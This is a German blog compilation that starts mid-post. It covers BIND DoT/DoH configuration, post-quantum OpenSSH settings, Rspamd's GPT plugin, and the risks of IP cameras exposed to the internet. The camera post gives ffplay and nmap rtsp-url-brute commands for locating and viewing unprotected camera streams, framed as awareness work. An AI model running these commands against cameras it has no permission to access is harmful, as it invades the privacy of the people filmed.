match-destinations { 93.177.67.26; 2a03:4000:38:20e::53; };
recursion no;
allow-recursion { none; };
allow-query-cache { none; };
allow-query { any; };
include "/usr/local/etc/namedb/named.conf.default-zones";
include "/usr/local/etc/namedb/named.conf.master";
include "/usr/local/etc/namedb/named.conf.slave";
};
view "resolver" {
match-clients { any; };
match-destinations { 37.120.183.220; 2a03:4000:38:20e::853; 127.0.0.1; ::1; };
recursion yes;
allow-recursion { any; };
allow-query-cache { any; };
allow-query { any; };
zone "." { type hint; file "/usr/local/etc/namedb/named.root"; };
};
```
**Warum Root-Hints nur im Resolver-View?**
Weil nur dieser View rekursiv arbeiten soll. Ohne Root-Hints ist Rekursion tot; dat wolln wa so!
### 2) /usr/local/etc/namedb/named.conf.options – Listener-Trennung + DoH/DoT
Der „Aha-Moment“ hier: Wir trennen nicht nur per View, sondern auch per `listen-on`.
Damit bindet named die Ports wirklich nur auf den gewünschten IPs.
**Authoritative (nur 53):**
```
listen-on { 93.177.67.26; 127.0.0.1; };
listen-on-v6 { 2a03:4000:38:20e::53; ::1; };
```
**DoT auf Resolver-IPs (+ Loopback für lokale Tests):**
```
listen-on port 853 tls local-tls { 37.120.183.220; 127.0.0.1; };
listen-on-v6 port 853 tls local-tls { 2a03:4000:38:20e::853; ::1; };
```
**DoH auf Resolver-IPs (+ Loopback):**
BIND 9.18+ kann DoH nativ, Endpoint typischerweise `/dns-query`
```
http doh-local {
endpoints { "/dns-query"; };
listener-clients 1000;
streams-per-connection 256;
};
listen-on port 443 tls local-tls http doh-local { 37.120.183.220; 127.0.0.1; };
listen-on-v6 port 443 tls local-tls http doh-local { 2a03:4000:38:20e::853; ::1; };
```
**TLS-Block (DoT/DoH):**
```
tls local-tls {
cert-file "/usr/local/etc/nginx/ssl/wild.kernel-error.de/2025/ecp/chain.crt";
key-file "/usr/local/etc/nginx/ssl/wild.kernel-error.de/2025/ecp/http.key";
protocols { TLSv1.2; TLSv1.3; };
ciphers "ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256";
cipher-suites "TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256";
prefer-server-ciphers yes;
session-tickets no;
};
```
**„Ich schalte nginx davor – muss BIND TLS können?“**
Wenn nginx wirklich TLS terminiert, *kann* BIND auch ohne TLS dahinter laufen – dann sprichst du intern HTTP/2 cleartext oder HTTP/1.1, je nach Setup. Das habe ich ebenfalls so umgesetzt, es hängt immer etwas davon ab, was man so will und wie groß das Setup wird. Ich lasse es in diesem Beitrag aber mal weg, so läuft alles nur mit bind. Ob BIND dafür „tls none“/HTTP-Listener sauber unterstützt, hängt an der BIND-DoH-Implementierung – hier ist die BIND/ARM-Doku die Wahrheit. [bind9.readthedocs.io+1](https://bind9.readthedocs.io/en/stable/reference.html)
### Testplan – Linux-CLI – **bewusst IPv4 und IPv6**
Wir wollen natürlich einmal reproduzierbar testen. Also: jede Stufe zweimal. Einmal `-4`, einmal `-6`. Also ob es bei IPv4 und bei IPv6 jeweils korrekt ist. Ihr könnt euch nicht vorstellen, wie oft ich fest davon überzeugt bin, es für beide Adressfamilien korrekt konfiguriert zu haben, dann aber noch ein unterschied zwischen v4 und v6 ist. Daher testen wir das.
### Voraussetzungen auf Linux
```
which dig kdig curl openssl
```
### Schritt 1 – DoT-TLS-Handshake prüfen (IPv4/IPv6)
### IPv4
```
openssl s_client \
-connect 37.120.183.220:853 \
-servername dns.kernel-error.de \
-alpn dot
```
Erwartung:
- Zertifikat passt auf `dns.kernel-error.de` (SAN / Wildcard ok)
- `ALPN protocol: dot`
- `Verify return code: 0 (ok)`
### IPv6
```
openssl s_client \
-connect '[2a03:4000:38:20e::853]:853' \
-servername dns.kernel-error.de \
-alpn dot
```
Wenn das passt, ist TLS-Transport ok. Also nur die TLS Terminierung für IPv4 und IPv6, da war noch keine DNS Abfrage enthalten.
### Schritt 2 – DoT-Query (kdig) – IPv4/IPv6
### IPv4
```
kdig +tls @37.120.183.220 google.com A
```
Erwartung:
- `status: NOERROR`
- Flags: `rd ra` (Recursion Desired/Available)
- eine A-Antwort
### IPv6
```
kdig +tls @[2a03:4000:38:20e::853] google.com A
```
Gleiche Erwartungshaltung wie bei IPv4.
### Schritt 3 – Sicherstellen: **kein** Resolver auf UDP/TCP 53
### Resolver-IPs dürfen auf 53 *nicht* antworten
```
dig -4 @37.120.183.220 google.com A
dig -6 @2a03:4000:38:20e::853 google.com A
```
Erwartung:
- Timeout / no servers reached
Genau das wollen wir ja: kein UDP/53 auf den Resolver-IPs.
### Authoritative-IPs dürfen nicht rekursiv sein
```
dig -4 @93.177.67.26 google.com A
dig -6 @2a03:4000:38:20e::53 google.com A
```
Erwartung:
- `status: REFUSED`
- idealerweise `EDE: (recursion disabled)`
Das ist genau die „nicht missbrauchbar als Open-Resolver“-Bremse.
Und unser positiver Check:
```
dig -4 @93.177.67.26 kernel-error.de A
dig -6 @2a03:4000:38:20e::53 kernel-error.de A
```
Erwartung:
- `aa` gesetzt (au
[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/ ...]
---
---
## 16. Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfigurieren
**Veröffentlicht:** 2025-12-22
**Permalink:** https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/
**Description:** Quantensichere Kryptografie mit OpenSSH 9.x — Post-Quantum-Algorithmen auf FreeBSD 15 für zukunftssichere SSH-Verbindungen.
Mein FreeBSD 15 kommt mit **OpenSSH 10.0p2** und **OpenSSL 3.5.4**.
Beide bringen inzwischen das mit, was man aktuell als quantensichere Kryptografie bezeichnet. Oder genauer gesagt das, was wir Stand heute für ausreichend robust gegen zukünftige Quantenangriffe halten.
[[Bild: Illustration zu quantensicherer Kryptografie mit OpenSSH auf FreeBSD 15. Dargestellt sind ein Quantenchip, kryptografische Symbole, ein Server, ein SSH Schlüssel sowie der FreeBSD Daemon als Sinnbild für post-quantum Key Exchange und sichere Serverkommunikation.]](https://www.kernel-error.de/wp-content/uploads/2025/12/openssh-quanten.png)
Quantensicher? Nein, das hat nichts mit Füßen zu tun, sondern tatsächlich mit den Quanten aus der Physik. Quantencomputer sind eine grundlegend andere Art von Rechnern. Googles aktueller Quantenchip war in diesem Jahr bei bestimmten Physiksimulationen rund 13.000-mal schneller als der derzeit leistungsstärkste klassische Supercomputer. Der chinesische Quantencomputer Jiuzhang wurde bei speziellen Aufgaben sogar als 100 Billionen Mal schneller eingestuft.
Kurz gesagt: Quantencomputer sind bei bestimmten Berechnungen extrem viel schneller als heutige klassische Rechner. Und genau das ist für Kryptografie ein Problem.
Als Vergleich aus der klassischen Welt: Moderne Grafikkarten haben die Zeit zum Knacken von Passwörtern in den letzten Jahren drastisch verkürzt.
- Nur Zahlen: Ein 12-stelliges Passwort wird praktisch sofort geknackt.
- Nur Kleinbuchstaben: wenige Wochen bis Monate.
- Groß- und Kleinschreibung plus Zahlen: etwa 100 bis 300 Jahre.
- Zusätzlich Sonderzeichen: 2025 noch als sehr sicher einzustufen mit geschätzten 226 bis 3.000 Jahren.
Quantencomputer nutzen spezielle Algorithmen wie den [Grover-Algorithmus](https://de.wikipedia.org/wiki/Grover-Algorithmus), der die effektive Sicherheit symmetrischer Verfahren halbiert. Ein ausreichend leistungsfähiger Quantencomputer könnte damit die benötigte Zeit drastisch reduzieren. Was heute Jahrhunderte dauert, könnte theoretisch auf Tage oder Stunden schrumpfen.
Stand 2025 sind solche Systeme zwar real und in der Forschung extrem leistungsfähig, werden aber noch nicht flächendeckend zum Brechen realer Kryptosysteme eingesetzt.
Heißt das also alles entspannt bleiben? Jein.
Verschlüsselte Datenträger lassen sich kopieren und für später weglegen. Gleiches gilt für aufgezeichneten verschlüsselten Netzwerkverkehr. Heute kommt man nicht an die Daten heran, aber es ist absehbar, dass das in Zukunft möglich sein könnte. Genau hier setzt quantensichere Kryptografie an. Ziel ist es, auch aufgezeichnete Daten dauerhaft vertraulich zu halten.
Ein praktisches Beispiel ist der Schlüsselaustausch **mlkem768x25519**. Wenn ihr diese Seite nicht gerade über Tor lest, ist die Wahrscheinlichkeit hoch, dass euer Browser bereits eine solche hybride, post-quantum-fähige Verbindung nutzt. Im Firefox lässt sich das einfach prüfen über F12, Network, eine Verbindung anklicken, dann Security und dort die Key Exchange Group. Taucht dort mlkem768x25519 auf, ist die Verbindung entsprechend abgesichert. Richtig, auf dem Screenhot seht ihr auch [HTTP/3](https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol#HTTP/3).
[[Bild: Image of mlkem768+x25519 in firefox.]](https://www.kernel-error.de/wp-content/uploads/2025/12/mlkem768x25519.png)
Für diese Webseite ist das nicht zwingend nötig. Für SSH-Verbindungen zu Servern aber unter Umständen schon eher. Deshalb zeige ich hier, wie man einen OpenSSH-Server entsprechend konfiguriert.
Ich beziehe mich dabei bewusst nur auf die Kryptografie. Ein echtes SSH-Hardening umfasst deutlich mehr, darum geht es hier aber nicht.
Die zentrale Konfigurationsdatei ist wie üblich: ***/etc/ssh/sshd_config***
Stand Ende 2025 kann ich folgende Konfiguration empfehlen:
```
KexAlgorithms mlkem768x25519-sha256,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com
```
Die Zeilen werden entweder an die bestehende Konfiguration angehängt oder ersetzen vorhandene Einträge. Da wir nicht einfach blind kopieren wollen, hier kurz die Erklärung.
**Schlüsselaustausch:**
Bevorzugt werden hybride Verfahren wie mlkem768 kombiniert mit x25519 sowie sntrup761 kombiniert mit x25519. Diese verbinden klassische elliptische Kryptografie mit post-quantum-resistenten Algorithmen. Damit ist die Verbindung sowohl gegen heutige Angreifer als auch gegen zukünftige Store-now-decrypt-later-Szenarien abgesichert. Curve25519 dient als bewährter Fallback. Klassische Diffie-Hellman-Gruppen sind nur aus Kompatibilitätsgründen enthalten.
**Verschlüsselung:**
Es werden ausschließlich moderne Algorithmen eingesetzt. Primär kommen AEAD-Ciphers wie ChaCha20-Poly1305 und AES-GCM zum Einsatz, die Vertraulichkeit und Integrität gleichzeitig liefern und bekannte Schwächen älterer Modi vermeiden. Ältere Verfahren wie CBC sind bewusst ausgeschlossen.
**Integrität:**
Zum Einsatz kommen ausschließlich SHA-2-basierte MACs im Encrypt-then-MAC-Modus. Dadurch werden klassische Angriffe auf SSH wie Padding-Oracles und bestimmte Timing-Leaks wirksam verhindert.
**Serveridentität:**
Als Hostkey-Algorithmus wird Ed25519 verwendet. Optional auch mit Zertifikaten oder hardwaregestützten Security Keys. Das bietet hohe kryptografische Sicherheit bei überschaubarem Verwaltungsaufwand.
Wichtig: Das funktioniert nur, wenn Server und Client diese Algorithmen auch unterstützen. Wer bereits mit SSH-Keys arbeitet, sollte prüfen, dass es sich um Ed25519-Keys handelt. Andernfalls sperrt man sich im Zweifel selbst aus.
Auf dem Server lässt sich die aktive Konfiguration prüfen mit:
```
sshd -T | grep -Ei 'kexalgorithms|ciphers|macs|hostkeyalgorithms'
```
Auf dem Client geht es am einfachsten mit:
```
ssh -Q kex
ssh -Q cipher
ssh -Q mac
ssh -Q key
```
So sieht man schnell, welche Algorithmen tatsächlich verfügbar sind.
Zur externen Überprüfung der SSH-Konfiguration kann ich außerdem das Tool [ssh-audit](https://github.com/jtesta/ssh-audit) empfehlen. Aufruf einfach per:
```
ssh-audit hostname oder IP -p PORT
```
Das liefert eine brauchbare Einschätzung der aktiven Kryptografie und möglicher Schwachstellen. Oh, wenn ihr schon dabei seit, vergesst nicht:
- [MFA mit Google Authenticator einrichten](https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/)
- [SSH-Hostkey-Verifikation erklärt](https://www.kernel-error.de/2024/03/29/linux-mint-ubuntu-und-dnssec/)
- [SSH Host Keys in DNS Zone](https://www.kernel-error.de/2012/05/27/hinzufuegen-der-ssh-public-keys-zum-dns/)
**Hinweis zur Einordnung der Quantensicherheit:**
Die hier gezeigte Konfiguration verbessert ausschließlich den Schlüsselaustausch (Key Exchange) durch hybride post-quantum-fähige Verfahren. Hostkeys und Signaturen in OpenSSH basieren weiterhin auf klassischen Algorithmen (z. B. Ed25519 oder ECDSA); standardisierte post-quantum-Signaturalgorithmen sind in OpenSSH aktuell noch nicht implementiert. Es existieren zwar experimentelle Forks (z. B. aus dem Open-Quantum-Safe-Projekt), diese gelten jedoch ausdrücklich nicht als produktionsreif und sind nicht Bestandteil des OpenSSH-Mainlines. Die hier gezeigte Konfiguration ist daher als pragmatischer Übergangsschritt zu verstehen, um „store-now-decrypt-later“-Risiken beim Schlüsselaustausch bereits heute zu reduzieren, ohne auf instabile oder nicht standardisierte Komponenten zu setzen.
Weiterführende Informationen zum aktuellen Stand der post-quantum-Unterstützung in OpenSSH finden sich in der offiziellen Dokumentation: [https://www.openssh.com/pq.html](https://www.openssh.com/pq.html)
Viel Spaß beim Nachbauen. Und wie immer: bei Fragen, [fragen](https://www.kernel-error.de/kontakt/).
---
---
## 17. GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score
**Veröffentlicht:** 2025-09-30
**Permalink:** https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/
**Description:** Erfahre, wie du das offizielle GPT-Plugin in Rspamd einrichtest, inkl. Beispielkonfiguration, Modellwahl (z. B. gpt-4o-mini) und Feintuning für Spamfilter.
[Bild: ]
Setup: FreeBSD 14.3, Rspamd 3.12.1, Postfix + Dovecot. Ich lasse bei kniffligen Mails zusätzlich ein LLM draufschauen. Wichtig: GPT ist bei mir nur **ein weiterer Sensor** im ganz normalen Rspamd-Scoring — keine Allzweckwaffe und kein „hartes Urteil“.
**Voraussetzungen**
- Rspamd inkl. **GPT-Plugin** (ab ~3.12.x im Paket; konfiguriert wird in `local.d/gpt.conf`).
- API-Zugang (OpenAI-kompatibel oder eigener Endpunkt).
- Grundverständnis zu Rspamd-Metrics/Actions (Reject/Add-Header/Greylist).
[[Bild: ]](https://www.kernel-error.de/wp-content/uploads/2025/09/openai-api-rspamd.jpg)
[**OpenAI API Key erstellen**:](https://platform.openai.com/api-keys) Melde dich auf der Developer-Plattform an, öffne die Seite *API Keys* und klicke auf *Create new secret key*. Lege bei Bedarf Berechtigungen fest oder arbeite mit projektbasierten Keys. Kopiere den Key einmalig und bewahre ihn sicher (root-only) auf – bitte nicht teilen. Nutzung/Kosten siehst du im Usage-Dashboard.
**Mein `gpt.conf`**
Ich halte die Konfiguration bewusst nüchtern — genug, um robuste Labels zu bekommen, aber ohne Schnickschnack:
```
# local.d/gpt.conf (Auszug)
enabled = true;
type = "openai";
model = "gpt-4o-mini";
api_key = "GEHEIMER-KEY";
model_parameters {
gpt-4o-mini {
max_tokens = 160;
temperature = 0.0;
}
}
timeout = 10s;
allow_ham = true;
allow_passthrough = false;
json = false;
reason_header = "X-GPT-Reason";
input = "text";
min_words = 1;
max_size = 256k;
symbols_to_except {
RCVD_IN_DNSWL_MED = -0.1;
RCVD_IN_DNSWL_HI = -0.1;
DWL_DNSWL_MED = -0.1;
WHITELIST_RECP_ADDR = -0.1;
GREYLIST = 0; GREYLIST_CHECK = 0; GREYLIST_SAVE = 0;
RCPT_IN_SPAMTRAP = 0; SPAMTRAP = 0; SPAMTRAP_ADDR = 0;
RCVD_VIA_SMTP_AUTH = 0; LOCAL_CLIENT = 0; FROM_LOCAL = 0;
}
```
**Was** bedeutet das?!
- `model = gpt-4o-mini`: flott & günstig, deterministisch per `temperature = 0.0`.
- `allow_ham = true`: GPT darf „HAM“ melden (kleines, positives Signal).
- `allow_passthrough = false`: Bei Fehlern (Timeout/API down) **keine** stillen Freifahrten.
- `reason_header = "X-GPT-Reason"`: Kurzbegründung landet im Header (s.u. Datenschutz).
- `symbols_to_except`: Offensichtliche interne Fälle werden neutralisiert, damit GPT nicht in klaren Situationen wirkt.
- Limits: `min_words = 1`, `max_size = 256k`, `timeout = 10s`.
**Metric/Scoring: drei GPT-Symbole**
```
symbols {
GPT_SPAM { weight = 9.0; group = "gpt"; description = "GPT: classified as SPAM"; }
GPT_SUSPICIOUS { weight = 4.5; group = "gpt"; description = "GPT: classified as SUSPICIOUS"; }
GPT_HAM { weight = -0.5; group = "gpt"; one_shot = true; description = "GPT: classified as HAM"; }
}
```
GPT wirkt wie ein starker, aber nicht absoluter Faktor.
– **SPAM (9.0)**: kräftiger Zuschlag.
– **SUSPICIOUS (4.5)**: sanfter Schubs Richtung Greylist/Review.
– **HAM (-0.5)**: kleine Entlastung, einmalig pro Mail.
**Warum diese Gewichte?**
Die Zahlen habe ich bewusst so gewählt, dass das GPT-Signal stark, aber nie absolut ist. Rspamd summiert Scores, GPT ist also nur ein Faktor:
- `GPT_SPAM = 9.0`: genug, um bei Kombination mit klassischen Checks (Bayes, RBL, DMARC) die Add-Header-Schwelle sicher zu reißen, aber unterhalb von *reject* allein.
- `GPT_SUSPICIOUS = 4.5`: halber Wert, schiebt Grauzonen in Richtung Greylist/Review, ohne sofortige Eskalation.
- `GPT_HAM = -0.5`: nur eine kleine Entlastung (one_shot). So verhindert man, dass GPT-HAM mehrere Punkte abzieht und Spams „rettet“.
**Wie wird die GPT-Gewichtung berechnet?**
In den Logs/WebUI taucht das oft so auf: `GPT_SPAM(2.10)[0.85]`. Das bedeutet:
- `[0.85]` = Rohwert von GPT, z. B. 85 % Wahrscheinlichkeit für Spam.
- `weight` aus der Metric (z. B. 9.0 für `GPT_SPAM`).
- Grundformel: `Rohwert × weight` → ergibt den Beitrag zum Gesamtscore.
- *Hinweis:* Je nach Rspamd-Version kann der im Header gezeigte Wert zusätzlich **skaliert** sein (z. B. falls das Modell nur ein „softes“ Signal liefert). Deshalb sieht man in der Praxis häufig 2–8 Punkte statt des Maximalgewichts.
**Actions/Schwellen**
```
actions {
greylist = 4;
add_header = 6;
reject = 15;
}
```
SUSPICIOUS (4.5) kippt oft in Greylist. SPAM (9.0) bringt fast immer Add-Header, Reject nur zusammen mit weiteren harten Befunden. Klassische Checks (SPF/DKIM/DMARC, RBL, Bayes) bleiben führend, GPT ergänzt nur.
**Tuning**
Zu bissig? Gewicht etwas senken.
Zu lasch? Gewicht erhöhen.
Zu optimistisch bei HAM? Gewicht kleiner machen oder 0 setzen.
Header mit `X-GPT-Reason` liefert Nachvollziehbarkeit, kann bei Bedarf wieder entfernt werden.
**Praxis**
– Symbole erscheinen im WebUI und Logfiles.
– `X-GPT-Reason` erklärt im Header die Bewertung.
– Latenz/Kosten: *gpt-4o-mini* mit 160 Tokens und 10 s Timeout ist performant und günstig.
**Jetzt schauen wir uns mal die Mailheader eines echten Beispiels an und wie GPT dort gegriffen hat:**
```
X-Spamd-Result: default: False [8.59 / 15.00];
VIOLATED_DIRECT_SPF(3.50)[];
GPT_SPAM(2.10)[0.85];
MISSING_MIMEOLE(2.00)[];
CTYPE_MIXED_BOGUS(1.00)[];
MID_RHS_NOT_FQDN(0.50)[];
DMARC_POLICY_ALLOW_WITH_FAILURES(-0.50)[];
MIME_HTML_ONLY(0.20)[];
R_DKIM_ALLOW(-0.20)[thejewelbox.dd:s=1759374209.thejewelbox];
...
```
**Erklärung:**
- `X-Spamd-Result: [8.59 / 15.00]` – Gesamtscore 8.59, Reject-Schwelle bei 15. Hier also *kein Reject*, sondern nur Add-Header.
- `GPT_SPAM(2.10)[0.85]` – GPT meldet Spam mit 85 % Sicherheit (`[0.85]`). Daraus errechnet Rspamd den Beitrag (`(…)`), der in den Gesamtscore einfließt.
- Die klassischen Checks wie `VIOLATED_DIRECT_SPF(3.50)` oder `MISSING_MIMEOLE(2.00)` haben ebenfalls beigetragen – GPT ist also nur **ein Faktor** im Gesamtbild.
**Zusätzlich schreibt das GPT-Modul auf Wunsch auch eine kurze Begründung in den Mailheader:**
```
X-GPT-Reason: This email is likely spam due to the urgency created around an unpaid invoice and the mismatch between the sender's domain and the company name.
```
**Erklärung:**
- `X-GPT-Reason` – eigener Header, den du in `gpt.conf` mit `reason_header = "X-GPT-Reason"` aktivierst.
- Der Text stammt direkt aus dem Modell und begründet die Einstufung (hier: Dringlichkeit „unpaid invoice“ + Domain/Company-Mismatch).
- Nützlich für Analyse/Transparenz; kann auf MTA/MDA-Ebene wieder entfernt werden, wenn du ihn nicht bis zum Postfach durchreichen willst.
**Ein Hinweis zum Datenschutz (gesamt)**
Mit GPT-Integration gehen Mailinhalte an einen externen Dienst (z. B. OpenAI). Das kann datenschutzrechtlich relevant sein. Wer sensible oder personenbezogene Daten verarbeitet, sollte vorher prüfen, ob die Nutzung zulässig ist – oder alternativ ein selbst gehostetes, OpenAI-kompatibles Modell nutzen (z. B. [Ollama](https://ollama.com/)). Den Reason-Header kannst du, falls nötig, serverseitig wieder entfernen.
---
---
## 18. IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus
**Veröffentlicht:** 2025-01-20
**Permalink:** https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/
**Description:** Wie unsichere IP-Kameras durch automatische Portfreigaben zum Datenschutzproblem werden können. Ein Blick auf GeoGuessr und reale Sicherheitslücken.
Die meisten von euch werden das Spiel [GeoGuessr](https://de.wikipedia.org/wiki/GeoGuessr) kennen. Man bekommt ein Google-Street-View-Bild gezeigt, kann sich vielleicht noch ein paar Meter hin- und herbewegen und muss dann auf einer Weltkarte einen Marker setzen, wo man meint, dass dieses Bild aufgenommen wurde. Wer dem Punkt am nächsten kommt, gewinnt.
Eine etwas abgewandelte Version begegnet mir immer mal wieder, wenn ich mich an einem Bug-Bounty-Programm beteilige oder einfach mit offenen Augen durchs Internet spaziere. Damit ist natürlich kein aktives Port-Scanning auf Netzblöcke oder Ähnliches gemeint.
### Worum geht es genau?
In den letzten Jahren verbreiten sich immer mehr billige „China-Kameras“ bei Heimanwendern, aber auch bei Unternehmen. Dagegen spricht erst einmal nichts.
Was leider oft übersehen wird, sind die kleinen automatischen Helferlein, die die Einrichtung und den Betrieb einer solchen Kamera möglichst einfach machen sollen. UPnP (Universal Plug and Play) haben manche vielleicht schon mal im Zusammenhang mit Windows 95 oder USB gehört (ja, ich bin alt …). So etwas gibt es aber auch für Router und Firewalls, also für Netzwerke. Bei einer Fritzbox nennt sich das beispielsweise „Automatische Portfreigabe“.
Der eine oder andere ahnt jetzt sicher schon etwas: Es gibt IP-Kameras, die sich so – vielleicht sogar ohne das Wissen des Betreibers – selbst über das Internet erreichbar machen. Das betrifft nicht selten die komplette Weboberfläche. Mal ist diese kennwortgeschützt, mal nicht.
Sehr oft findet sich auch nur der RTSP-Port (Real Time Streaming Protocol) offen im Internet. Per RTSP werfen solche Kameras oft einen einfachen Videostream aus, der die Anbindung an zentrale Videoüberwachungssysteme erlaubt. Auch RTSP-Streams lassen sich mit einer Anmeldung schützen, was aber scheinbar in der Regel werkseitig deaktiviert ist.
Wenn dieser Port offen ist, könnte man sich einfach per `ffplay` einen solchen Stream anschauen:
```
ffplay rtsp://1.2.3.4/11
```
Wenn man sich nicht sicher ist, wie die korrekte RTSP-URL für die jeweilige IP-Kamera lautet, kann `nmap` zusammen mit dem Script [`rtsp-url-brute` ](https://nmap.org/nsedoc/scripts/rtsp-url-brute.html)helfen:
```
nmap --script rtsp-url-brute -p 554 1.2.3.4
```
### Die rechtliche Lage
Nun kann es natürlich rechtlich schwierig sein, bei einer fremden IP-Adresse nach dem offenen Port 554/TCP zu suchen, dort per `nmap` nach einer nutzbaren RTSP-URL zu scannen und sich den Stream dann live per `ffplay`, `nmap` oder `vlc` anzuschauen. Schließlich hat man nicht das Einverständnis des Betreibers.
[[Bild: Screenshot of shodan search engine, filtering for RTSP Streams.]](https://www.kernel-error.de/wp-content/uploads/2025/01/shodan-example.jpg)
Natürlich hält das wohl weniger Menschen ab, die ohnehin Schlechtes im Sinn haben. Ebenfalls gibt es verschiedene Dienste, die 24/7 nichts anderes tun. Ein Beispiel ist hier vielleicht **[shodan.io](https://www.shodan.io/)** – dort lässt sich direkt nach solchen Vorschaubildern filtern, ohne dass man selbst eine Verbindung zu betroffenen IPs aufnehmen muss.
### Warum ist das alles überhaupt problematisch?
Hat ein Angreifer Böses im Sinn, ist ein Zugriff auf die Überwachungskamera sehr hilfreich. Man kommt so möglicherweise an Insiderinformationen, findet heraus, wo wertvolle Dinge gelagert werden, wann und wie die Öffnungszeiten sind oder sogar mögliche Zugangscodes und Kennwörter. Natürlich auch, welche Kunden sich zu welcher Zeit dort aufhalten usw.
Denkt man an eine Arztpraxis, kann das schnell eine echte Datenschutzkatastrophe werden. Wenn die Kamera im Wohnzimmer oder Schlafzimmer einer Wohnung steht, führt das ebenfalls schnell zu ungewollten Einblicken.
Wenn man einmal außer Acht lässt, dass niemand gerne ohne sein Wissen per Livestream im Internet zu sehen ist, halte ich das Thema Datenschutz für eines der größten Risiken.
In der Vergangenheit sind mir bereits Beispiele begegnet, die das Problem verdeutlichen: Arztpraxen mit Kamerablick von hinten auf die Anmeldung – inklusive direktem Blick auf Patienten, Monitore mit Patientendaten oder Vertragsabschlüsse bei Mobilfunkanbietern. Auch Überwachungskameras in DHL-Filialen, die Bild und Ton in Zoom und 4K aufzeichnen, habe ich gesehen.
Für private Betreiber kann es ebenfalls schnell zu einem Datenschutzproblem werden. Nicht jeder achtet beim eingestellten Bildausschnitt der Kamera darauf, die Vorgaben des Datenschutzes einzuhalten. So werden oft mehr öffentliche Bereiche oder sogar Nachbargrundstücke gefilmt, als zulässig ist.
Wenn diese Daten dann auch noch ohne Schutz und Hürden in die Hände Dritter geraten, wird es heikel. Hier sollte besser jemand mit rechtlichem Hintergrund eine Einschätzung abgeben. Für mich klingt das alles jedenfalls ziemlich unschön.
### Was kann man tun?
Eine Abuse-Mail an den jeweiligen ISP (Internet Service Provider) schicken, mit der Bitte, ihre Kunden zu informieren? Kann man machen. Bei kleineren ISPs klappt das oft sogar, und die Betreiber werden informiert. Spricht man aber über einen großen ISP wie die Telekom, verschwinden einzelne Abuse-Mails gefühlt einfach im Nichts.
Sonst jemanden zu finden, der ein Interesse daran hat, den meist unwissenden Betreiber zu informieren, ist nahezu unmöglich. Weder unsere Behörden noch das BSI interessieren sich dafür. Möchte man also den Betreiber darauf hinweisen, bleibt realistisch nur die Möglichkeit, ihn selbst zu kontaktieren.
### GeoGuessr in der Praxis
Jetzt sind wir beim Thema GeoGuessr: Man hat also nur das Bild der Kamera, die IP-Adresse mit einer recht groben und nicht immer stimmigen Geolokalisierung und vielleicht noch ein paar weitere Rahmeninfos oder Dienste auf dieser IP-Adresse. Hin und wieder macht es mir daher sogar Spaß, den eigentlichen Betreiber ausfindig zu machen und ihm per E-Mail oder telefonisch kurz auf diesen möglichen Missstand hinzuweisen.
Wenn du das also gerade liest, weil ich dich darauf hingewiesen habe, weißt du jetzt, warum 😀
Natürlich trifft man oft auf Unverständnis – oder das klassisch deutsche „Anzeige ist raus!“ begegnet einem immer mal wieder. Es bietet also auch eine gute Möglichkeit, die eigenen Kommunikationsskills zu erweitern.
---
---
## 19. IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken
**Veröffentlicht:** 2025-11-17
**Permalink:** https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/
**Description:** IoT-Geräte als Sicherheitsrisiko im Heimnetzwerk — warum IP-Kameras und Smart-Home-Devices häufig gehackt werden und wie man sich schützt.
Vielleicht erinnert ihr euch an meine Aussage, [dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür](https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/). In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.
[Bild: Image of IoT Camera and IT Security]
Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine [Überwachungskamera](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/), ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.
### IoT in der Praxis: Schnell, günstig – und sicherheitsblind
Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.
